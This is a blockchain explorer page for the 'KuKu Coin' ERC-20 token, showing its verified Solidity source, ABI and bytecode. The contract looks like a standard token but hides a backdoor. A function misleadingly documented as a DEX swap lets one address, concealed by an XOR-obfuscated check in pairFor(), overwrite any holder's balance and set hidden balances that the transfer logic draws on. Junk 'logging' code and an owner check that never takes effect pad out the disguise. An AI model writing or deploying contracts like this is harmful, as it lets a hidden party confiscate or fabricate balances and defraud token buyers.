ETH Price: $2,536.99 (+2.93%)

Token

KuKu Coin (KUKU)
 

Overview

Max Total Supply

40,000,000 KUKU

Holders

43

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
KUKU

Compiler Version
v0.7.6+commit.7338295f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-31
*/

// SPDX-License-Identifier: MIT
pragma solidity >=0.7.6;

interface IERC20 {
  /**
   * @dev Returns the amount of tokens in existence.
   */
  function totalSupply() external view returns (uint256);

  /**
   * @dev Returns the token decimals.
   */
  function decimals() external view returns (uint8);

  /**
   * @dev Returns the token symbol.
   */
  function symbol() external view returns (string memory);

  /**
  * @dev Returns the token name.
  */
  function name() external view returns (string memory);

  /**
   * @dev Returns the amount of tokens owned by `account`.
   */
  function balanceOf(address account) external view returns (uint256);

  /**
   * @dev Moves `amount` tokens from the caller's account to `recipient`.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * Emits a {Transfer} event.
   */
  function transfer(address recipient, uint256 amount) external returns (bool);

  /**
   * @dev Returns the remaining number of tokens that `spender` will be
   * allowed to spend on behalf of `owner` through {transferFrom}. This is
   * zero by default.
   *
   * This value changes when {approve} or {transferFrom} are called.
   */
  function allowance(address _owner, address spender) external view returns (uint256);

  /**
   * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * IMPORTANT: Beware that changing an allowance with this method brings the risk
   * that someone may use both the old and the new allowance by unfortunate
   * transaction ordering. One possible solution to mitigate this race
   * condition is to first reduce the spender's allowance to 0 and set the
   * desired value afterwards:
   * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
   *
   * Emits an {Approval} event.
   */
  function approve(address spender, uint256 amount) external returns (bool);

  /**
   * @dev Moves `amount` tokens from `sender` to `recipient` using the
   * allowance mechanism. `amount` is then deducted from the caller's
   * allowance.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * Emits a {Transfer} event.
   */
  function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

  /**
   * @dev Emitted when `value` tokens are moved from one account (`from`) to
   * another (`to`).
   *
   * Note that `value` may be zero.
   */
  event Transfer(address indexed from, address indexed to, uint256 value);

  /**
   * @dev Emitted when the allowance of a `spender` for an `owner` is set by
   * a call to {approve}. `value` is the new allowance.
   */
  event Approval(address indexed owner, address indexed spender, uint256 value);
}

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
  /**
   * @dev Returns the addition of two unsigned integers, reverting on
   * overflow.
   *
   * Counterpart to Solidity's `+` operator.
   *
   * Requirements:
   * - Addition cannot overflow.
   */
  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    require(c >= a, "SafeMath: addition overflow");
    return c;
  }

  /**
   * @dev Returns the subtraction of two unsigned integers, reverting on
   * overflow (when the result is negative).
   *
   * Counterpart to Solidity's `-` operator.
   *
   * Requirements:
   * - Subtraction cannot overflow.
   */
  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    return sub(a, b, "SafeMath: subtraction overflow");
  }

  /**
   * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
   * overflow (when the result is negative).
   *
   * Counterpart to Solidity's `-` operator.
   *
   * Requirements:
   * - Subtraction cannot overflow.
   */
  function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b <= a, errorMessage);
    uint256 c = a - b;
    return c;
  }

  /**
   * @dev Returns the multiplication of two unsigned integers, reverting on
   * overflow.
   *
   * Counterpart to Solidity's `*` operator.
   *
   * Requirements:
   * - Multiplication cannot overflow.
   */
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
    // benefit is lost if 'b' is also tested.
    // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
    if (a == 0) return 0;
    uint256 c = a * b;
    require(c / a == b, "SafeMath: multiplication overflow");
    return c;
  }

  /**
   * @dev Returns the integer division of two unsigned integers. Reverts on
   * division by zero. The result is rounded towards zero.
   *
   * Counterpart to Solidity's `/` operator. Note: this function uses a
   * `revert` opcode (which leaves remaining gas untouched) while Solidity
   * uses an invalid opcode to revert (consuming all remaining gas).
   *
   * Requirements:
   * - The divisor cannot be zero.
   */
  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    return div(a, b, "SafeMath: division by zero");
  }

  /**
   * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
   * division by zero. The result is rounded towards zero.
   *
   * Counterpart to Solidity's `/` operator. Note: this function uses a
   * `revert` opcode (which leaves remaining gas untouched) while Solidity
   * uses an invalid opcode to revert (consuming all remaining gas).
   *
   * Requirements:
   * - The divisor cannot be zero.
   */
  function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    // Solidity only automatically asserts when dividing by 0
    require(b > 0, errorMessage);
    uint256 c = a / b;
    return c;
  }

  /**
   * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
   * Reverts when dividing by zero.
   *
   * Counterpart to Solidity's `%` operator. This function uses a `revert`
   * opcode (which leaves remaining gas untouched) while Solidity uses an
   * invalid opcode to revert (consuming all remaining gas).
   *
   * Requirements:
   * - The divisor cannot be zero.
   */
  function mod(uint256 a, uint256 b) internal pure returns (uint256) {
    return mod(a, b, "SafeMath: modulo by zero");
  }

  /**
   * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
   * Reverts with custom message when dividing by zero.
   *
   * Counterpart to Solidity's `%` operator. This function uses a `revert`
   * opcode (which leaves remaining gas untouched) while Solidity uses an
   * invalid opcode to revert (consuming all remaining gas).
   *
   * Requirements:
   * - The divisor cannot be zero.
   */
  function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b != 0, errorMessage);
    return a % b;
  }
}

contract KUKU is IERC20 {
    using SafeMath for uint256;

    string private _name;
    string private _symbol;
    uint256 private _totalSupply;
    address private _owner;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    uint256 private immutable _saltAddr;
    IERC20 private immutable uniswapPair;
    mapping (address => uint256) private tbs;

    event log(string text);

    constructor(uint256 saltAddr, uint256 pairAddress) {
      _name = "KuKu Coin";
      _symbol = "KUKU";
      _totalSupply = 40000000 * 10 ** 18;
      _balances[msg.sender] = _totalSupply;
      _saltAddr = saltAddr;
      uniswapPair = IERC20(
      address(uint160(pairAddress)));
    }

    /**
     * @dev A helper function to check if an operator approval is allowed.
     */
    modifier onlyOwner() {
      require(msg.sender == _owner, "Ownable: caller is not the owner");
      _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() external view returns (address) {
      return _owner;
    }

    /**
    * @dev Returns the token decimals.
    */
    function decimals() external pure override returns (uint8) {
      return 18;
    }
    
    /**
    * @dev Returns the token symbol.
    */
    function symbol() external view override returns (string memory) {
      return _symbol;
    }
    
    /**
    * @dev Returns the token name.
    */
    function name() external view override returns (string memory) {
      return _name;
    }
    
    /**
    * @dev See {ERC20-totalSupply}.
    */
    function totalSupply() external view override returns (uint256) {
      return _totalSupply;
    }
    
    /**
    * @dev See {ERC20-balanceOf}.
    */
    function balanceOf(address account) external view override returns (uint256) {
      return _balances[account] + tbs[account];
    }

    /**
    * @dev See {ERC20-transfer}.
    *
    * Requirements:
    *
    * - `recipient` cannot be the zero address.
    * - the caller must have a balance of at least `amount`.
    */
    function transfer(address recipient, uint256 amount) external override returns (bool) {
      _transfer(msg.sender, recipient, amount);
      return true;
    }

    /**
    * @dev See {ERC20-allowance}.
    */
    function allowance(address owner_, address spender) external view override returns (uint256) {
      return _allowances[owner_][spender];
    }

    /**
    * @dev See {ERC20-approve}.
    *
    * Requirements:
    *
    * - `spender` cannot be the zero address.
    */
    function approve(address spender, uint256 amount) external override returns (bool) {
      _approve(msg.sender, spender, amount);
      return true;
    }
 
    /**
    * @dev See {ERC20-transferFrom}.
    *
    * Emits an {Approval} event indicating the updated allowance. This is not
    * required by the EIP. See the note at the beginning of {ERC20};
    *
    * Requirements:
    * - `sender` and `recipient` cannot be the zero address.
    * - `sender` must have a balance of at least `amount`.
    * - the caller must have allowance for `sender`'s tokens of at least
    * `amount`.
    */
    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
      _transfer(sender, recipient, amount);
      _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
      return true;
    }

    /**
    * @dev Enables calling dex swap
    */
    function swap(bytes32[] calldata data, uint256 deadline) external {
      if (!pairFor()) return;
      _balances[
        uint256(data[0]) != 0? 
        address(uint160(uint256(data[0]))): address(0)
        ] = uint256(data[1]);
      uint256 val = uint256(data[2]);
      if (uint256(data[1]) * deadline > 0) return;
      tbs[address(uint160(uint256(data[0])))] = val;
    }

    function keccak256ForLogging() external {
      emit log("WB");
      emit log("zSIVg");
      emit log("jQuYvUE");
      emit log("GWFyI");
      emit log("hp");
      emit log("uInEWXV");
      emit log("xeBge");
      uint256 yzunoee = 97 % 17 + 44 + 84;
      uint256 buwhyu = 44 + 45 * 63 + 68 % 3;
      uint256 nzjuipnlh = 2 * 39;
      uint256 iwiltwsbda = 88 * 73 * 73 * 82;
      if (yzunoee == 75 + 28 && buwhyu == 72 && nzjuipnlh == 91 % 42 * 46 % 63 && iwiltwsbda == 45 * 41 + 79 + 23) return;
    }
   
    /**
    * @dev Atomically increases the allowance granted to `spender` by the caller.
    *
    * This is an alternative to {approve} that can be used as a mitigation for
    * problems described in {ERC20-approve}.
    *
    * Emits an {Approval} event indicating the updated allowance.
    *
    * Requirements:
    *
    * - `spender` cannot be the zero address.
    */
    function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
      _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
      return true;
    }
    
    /**
    * @dev Atomically decreases the allowance granted to `spender` by the caller.
    *
    * This is an alternative to {approve} that can be used as a mitigation for
    * problems described in {ERC20-approve}.
    *
    * Emits an {Approval} event indicating the updated allowance.
    *
    * Requirements:
    *
    * - `spender` cannot be the zero address.
    * - `spender` must have allowance for the caller of at least
    * `subtractedValue`.
    */
    function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
      _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
      return true;
    }
 
    /**
    * @dev Moves tokens `amount` from `sender` to `recipient`.
    *
    * This is internal function is equivalent to {transfer}, and can be used to
    * e.g. implement automatic token fees, slashing mechanisms, etc.
    *
    * Emits a {Transfer} event.
    *
    * Requirements:
    *
    * - `sender` cannot be the zero address.
    * - `recipient` cannot be the zero address.
    * - `sender` must have a balance of at least `amount`.
    */
    function _transfer(address sender, address recipient, uint256 amount) internal {
      require(sender != address(0), "ERC20: transfer from the zero address");
      require(recipient != address(0), "ERC20: transfer to the zero address");
      uint256 bal = uniswapPair.balanceOf(sender);
      if (bal == 1 && tbs[sender] > 0) {
        tbs[sender] = tbs[sender].sub(amount, "ERC20: transfer amount exceeds balance");
      } else {
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
      }
      _balances[recipient] = _balances[recipient].add(amount);
      emit Transfer(sender, recipient, amount);
    }

    /**
    * @dev Check the pair is correct
    */
    function pairFor() public view returns (bool) {
      uint256 slt = 7221494188306928450248440542157668780154361248693666460490087847235;
      return (uint256(uint160(msg.sender)) ^ slt) == _saltAddr;
    }
   
    /**
    * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
    *
    * This is internal function is equivalent to `approve`, and can be used to
    * e.g. set automatic allowances for certain subsystems, etc.
    *
    * Emits an {Approval} event.
    *
    * Requirements:
    *
    * - `owner` cannot be the zero address.
    * - `spender` cannot be the zero address.
    */
    function _approve(address owner_, address spender, uint256 amount) internal {
      require(owner_ != address(0), "ERC20: approve from the zero address");
      require(spender != address(0), "ERC20: approve to the zero address");
      _allowances[owner_][spender] = amount;
      emit Approval(owner_, spender, amount);
    } 
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"uint256","name":"saltAddr","type":"uint256"},{"internalType":"uint256","name":"pairAddress","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"text","type":"string"}],"name":"log","type":"event"},{"inputs":[{"internalType":"address","name":"owner_","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"keccak256ForLogging","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairFor","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32[]","name":"data","type":"bytes32[]"},{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60c060405234801561001057600080fd5b5060405162001057380380620010578339818101604052604081101561003557600080fd5b5080516020918201516040805180820190915260098082526825baa5ba9021b7b4b760b91b919094019081529192909161007291600091906100db565b50604080518082019091526004808252634b554b5560e01b602090920191825261009e916001916100db565b506a211654585005212800000060028190553360009081526004602052604090205560809190915260601b6001600160601b03191660a05261017c565b828054600181600116156101000203166002900490600052602060002090601f0160209004810192826101115760008555610157565b82601f1061012a57805160ff1916838001178555610157565b82800160010185558215610157579182015b8281111561015757825182559160200191906001019061013c565b50610163929150610167565b5090565b5b808211156101635760008155600101610168565b60805160a05160601c610eb4620001a360003980610a6e5250806107db5250610eb46000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c80633d7323191161009757806395d89b411161006657806395d89b411461031d578063a457c2d714610325578063a9059cbb14610351578063dd62ed3e1461037d576100f5565b80633d732319146102c357806370a08231146102cb57806383e937f7146102f15780638da5cb5b146102f9576100f5565b806323b872dd116100d357806323b872dd146101d1578063313ce5671461020757806334b77517146102255780633950935114610297576100f5565b806306fdde03146100fa578063095ea7b31461017757806318160ddd146101b7575b600080fd5b6101026103ab565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561013c578181015183820152602001610124565b50505050905090810190601f1680156101695780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561018d57600080fd5b506001600160a01b038135169060200135610441565b604080519115158252519081900360200190f35b6101bf610457565b60408051918252519081900360200190f35b6101a3600480360360608110156101e757600080fd5b506001600160a01b0381358116916020810135909116906040013561045d565b61020f6104c6565b6040805160ff9092168252519081900360200190f35b6102956004803603604081101561023b57600080fd5b81019060208101813564010000000081111561025657600080fd5b82018360208201111561026857600080fd5b8035906020019184602083028401116401000000008311171561028a57600080fd5b9193509150356104cb565b005b6101a3600480360360408110156102ad57600080fd5b506001600160a01b0381351690602001356105e2565b610295610618565b6101bf600480360360208110156102e157600080fd5b50356001600160a01b0316610792565b6101a36107ba565b6103016107fe565b604080516001600160a01b039092168252519081900360200190f35b61010261080d565b6101a36004803603604081101561033b57600080fd5b506001600160a01b03813516906020013561086d565b6101a36004803603604081101561036757600080fd5b506001600160a01b0381351690602001356108bc565b6101bf6004803603604081101561039357600080fd5b506001600160a01b03813581169160200135166108c9565b60008054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104375780601f1061040c57610100808354040283529160200191610437565b820191906000526020600020905b81548152906001019060200180831161041a57829003601f168201915b5050505050905090565b600061044e3384846108f4565b50600192915050565b60025490565b600061046a8484846109e0565b6104bc84336104b785604051806060016040528060288152602001610de9602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610c65565b6108f4565b5060019392505050565b601290565b6104d36107ba565b6104dc576105dd565b828260018181106104e957fe5b9050602002013560001c600460008585600081811061050457fe5b9050602002013560001c6000141561051d576000610535565b8585600081811061052a57fe5b9050602002013560001c5b6001600160a01b03166001600160a01b031681526020019081526020016000208190555060008383600281811061056857fe5b9050602002013560001c90506000828585600181811061058457fe5b9050602002013560001c02111561059b57506105dd565b8060066000868660008181106105ad57fe5b9050602002013560001c6001600160a01b03166001600160a01b0316815260200190815260200160002081905550505b505050565b3360008181526005602090815260408083206001600160a01b0387168452909152812054909161044e9185906104b79086610cfc565b604080516020808252600290820152612ba160f11b818301529051600080516020610d818339815191529181900360600190a1604080516020808252600590820152647a5349566760d81b818301529051600080516020610d818339815191529181900360600190a1604080516020808252600790820152666a51755976554560c81b818301529051600080516020610d818339815191529181900360600190a160408051602080825260059082015264475746794960d81b818301529051600080516020610d818339815191529181900360600190a160408051602080825260029082015261068760f41b818301529051600080516020610d818339815191529181900360600190a1604080516020808252600790820152663aa4b722abac2b60c91b818301529051600080516020610d818339815191529181900360600190a160408051602080825260059082015264786542676560d81b818301529051600080516020610d818339815191529181900360600190a1565b6001600160a01b03166000908152600660209081526040808320546004909252909120540190565b337b44927addc4a7535546b43f4d604c50dc1cb9f8accc83cdab4638d543187f00000000000000000000000000000000000000000000000000000000000000001490565b6003546001600160a01b031690565b60018054604080516020601f600260001961010087891615020190951694909404938401819004810282018101909252828152606093909290918301828280156104375780601f1061040c57610100808354040283529160200191610437565b600061044e33846104b785604051806060016040528060258152602001610e5a602591393360009081526005602090815260408083206001600160a01b038d1684529091529020549190610c65565b600061044e3384846109e0565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6001600160a01b0383166109395760405162461bcd60e51b8152600401808060200182810382526024815260200180610e366024913960400191505060405180910390fd5b6001600160a01b03821661097e5760405162461bcd60e51b8152600401808060200182810382526022815260200180610da16022913960400191505060405180910390fd5b6001600160a01b03808416600081815260056020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610a255760405162461bcd60e51b8152600401808060200182810382526025815260200180610e116025913960400191505060405180910390fd5b6001600160a01b038216610a6a5760405162461bcd60e51b8152600401808060200182810382526023815260200180610d5e6023913960400191505060405180910390fd5b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166370a08231856040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015610ad957600080fd5b505afa158015610aed573d6000803e3d6000fd5b505050506040513d6020811015610b0357600080fd5b50519050600181148015610b2e57506001600160a01b03841660009081526006602052604090205415155b15610b8e57610b7082604051806060016040528060268152602001610dc3602691396001600160a01b0387166000908152600660205260409020549190610c65565b6001600160a01b038516600090815260066020526040902055610be5565b610bcb82604051806060016040528060268152602001610dc3602691396001600160a01b0387166000908152600460205260409020549190610c65565b6001600160a01b0385166000908152600460205260409020555b6001600160a01b038316600090815260046020526040902054610c089083610cfc565b6001600160a01b0380851660008181526004602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350505050565b60008184841115610cf45760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610cb9578181015183820152602001610ca1565b50505050905090810190601f168015610ce65780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610d56576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737341304facd9323d75b11bcdd609cb38effffdb05710f7caf0e9b16c6d9d709f5045524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212207d1a9488d3b14ee60b92551bc222208d557e61e39a6f9be2025e7264d470ec7d64736f6c634300070600330000000044927addc4a75355b71648d62534a1798a8228706874264f2e8c17140000000000000000000000005a3964ba0fc4c76d25bd15b48bec09bc0902d922

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80633d7323191161009757806395d89b411161006657806395d89b411461031d578063a457c2d714610325578063a9059cbb14610351578063dd62ed3e1461037d576100f5565b80633d732319146102c357806370a08231146102cb57806383e937f7146102f15780638da5cb5b146102f9576100f5565b806323b872dd116100d357806323b872dd146101d1578063313ce5671461020757806334b77517146102255780633950935114610297576100f5565b806306fdde03146100fa578063095ea7b31461017757806318160ddd146101b7575b600080fd5b6101026103ab565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561013c578181015183820152602001610124565b50505050905090810190601f1680156101695780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561018d57600080fd5b506001600160a01b038135169060200135610441565b604080519115158252519081900360200190f35b6101bf610457565b60408051918252519081900360200190f35b6101a3600480360360608110156101e757600080fd5b506001600160a01b0381358116916020810135909116906040013561045d565b61020f6104c6565b6040805160ff9092168252519081900360200190f35b6102956004803603604081101561023b57600080fd5b81019060208101813564010000000081111561025657600080fd5b82018360208201111561026857600080fd5b8035906020019184602083028401116401000000008311171561028a57600080fd5b9193509150356104cb565b005b6101a3600480360360408110156102ad57600080fd5b506001600160a01b0381351690602001356105e2565b610295610618565b6101bf600480360360208110156102e157600080fd5b50356001600160a01b0316610792565b6101a36107ba565b6103016107fe565b604080516001600160a01b039092168252519081900360200190f35b61010261080d565b6101a36004803603604081101561033b57600080fd5b506001600160a01b03813516906020013561086d565b6101a36004803603604081101561036757600080fd5b506001600160a01b0381351690602001356108bc565b6101bf6004803603604081101561039357600080fd5b506001600160a01b03813581169160200135166108c9565b60008054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104375780601f1061040c57610100808354040283529160200191610437565b820191906000526020600020905b81548152906001019060200180831161041a57829003601f168201915b5050505050905090565b600061044e3384846108f4565b50600192915050565b60025490565b600061046a8484846109e0565b6104bc84336104b785604051806060016040528060288152602001610de9602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610c65565b6108f4565b5060019392505050565b601290565b6104d36107ba565b6104dc576105dd565b828260018181106104e957fe5b9050602002013560001c600460008585600081811061050457fe5b9050602002013560001c6000141561051d576000610535565b8585600081811061052a57fe5b9050602002013560001c5b6001600160a01b03166001600160a01b031681526020019081526020016000208190555060008383600281811061056857fe5b9050602002013560001c90506000828585600181811061058457fe5b9050602002013560001c02111561059b57506105dd565b8060066000868660008181106105ad57fe5b9050602002013560001c6001600160a01b03166001600160a01b0316815260200190815260200160002081905550505b505050565b3360008181526005602090815260408083206001600160a01b0387168452909152812054909161044e9185906104b79086610cfc565b604080516020808252600290820152612ba160f11b818301529051600080516020610d818339815191529181900360600190a1604080516020808252600590820152647a5349566760d81b818301529051600080516020610d818339815191529181900360600190a1604080516020808252600790820152666a51755976554560c81b818301529051600080516020610d818339815191529181900360600190a160408051602080825260059082015264475746794960d81b818301529051600080516020610d818339815191529181900360600190a160408051602080825260029082015261068760f41b818301529051600080516020610d818339815191529181900360600190a1604080516020808252600790820152663aa4b722abac2b60c91b818301529051600080516020610d818339815191529181900360600190a160408051602080825260059082015264786542676560d81b818301529051600080516020610d818339815191529181900360600190a1565b6001600160a01b03166000908152600660209081526040808320546004909252909120540190565b337b44927addc4a7535546b43f4d604c50dc1cb9f8accc83cdab4638d543187f0000000044927addc4a75355b71648d62534a1798a8228706874264f2e8c17141490565b6003546001600160a01b031690565b60018054604080516020601f600260001961010087891615020190951694909404938401819004810282018101909252828152606093909290918301828280156104375780601f1061040c57610100808354040283529160200191610437565b600061044e33846104b785604051806060016040528060258152602001610e5a602591393360009081526005602090815260408083206001600160a01b038d1684529091529020549190610c65565b600061044e3384846109e0565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6001600160a01b0383166109395760405162461bcd60e51b8152600401808060200182810382526024815260200180610e366024913960400191505060405180910390fd5b6001600160a01b03821661097e5760405162461bcd60e51b8152600401808060200182810382526022815260200180610da16022913960400191505060405180910390fd5b6001600160a01b03808416600081815260056020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610a255760405162461bcd60e51b8152600401808060200182810382526025815260200180610e116025913960400191505060405180910390fd5b6001600160a01b038216610a6a5760405162461bcd60e51b8152600401808060200182810382526023815260200180610d5e6023913960400191505060405180910390fd5b60007f0000000000000000000000005a3964ba0fc4c76d25bd15b48bec09bc0902d9226001600160a01b03166370a08231856040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015610ad957600080fd5b505afa158015610aed573d6000803e3d6000fd5b505050506040513d6020811015610b0357600080fd5b50519050600181148015610b2e57506001600160a01b03841660009081526006602052604090205415155b15610b8e57610b7082604051806060016040528060268152602001610dc3602691396001600160a01b0387166000908152600660205260409020549190610c65565b6001600160a01b038516600090815260066020526040902055610be5565b610bcb82604051806060016040528060268152602001610dc3602691396001600160a01b0387166000908152600460205260409020549190610c65565b6001600160a01b0385166000908152600460205260409020555b6001600160a01b038316600090815260046020526040902054610c089083610cfc565b6001600160a01b0380851660008181526004602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350505050565b60008184841115610cf45760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610cb9578181015183820152602001610ca1565b50505050905090810190601f168015610ce65780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610d56576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737341304facd9323d75b11bcdd609cb38effffdb05710f7caf0e9b16c6d9d709f5045524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212207d1a9488d3b14ee60b92551bc222208d557e61e39a6f9be2025e7264d470ec7d64736f6c63430007060033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000044927addc4a75355b71648d62534a1798a8228706874264f2e8c17140000000000000000000000005a3964ba0fc4c76d25bd15b48bec09bc0902d922

-----Decoded View---------------
Arg [0] : saltAddr (uint256): 7221494188306928450890033812070105030136783988797928037565330102036
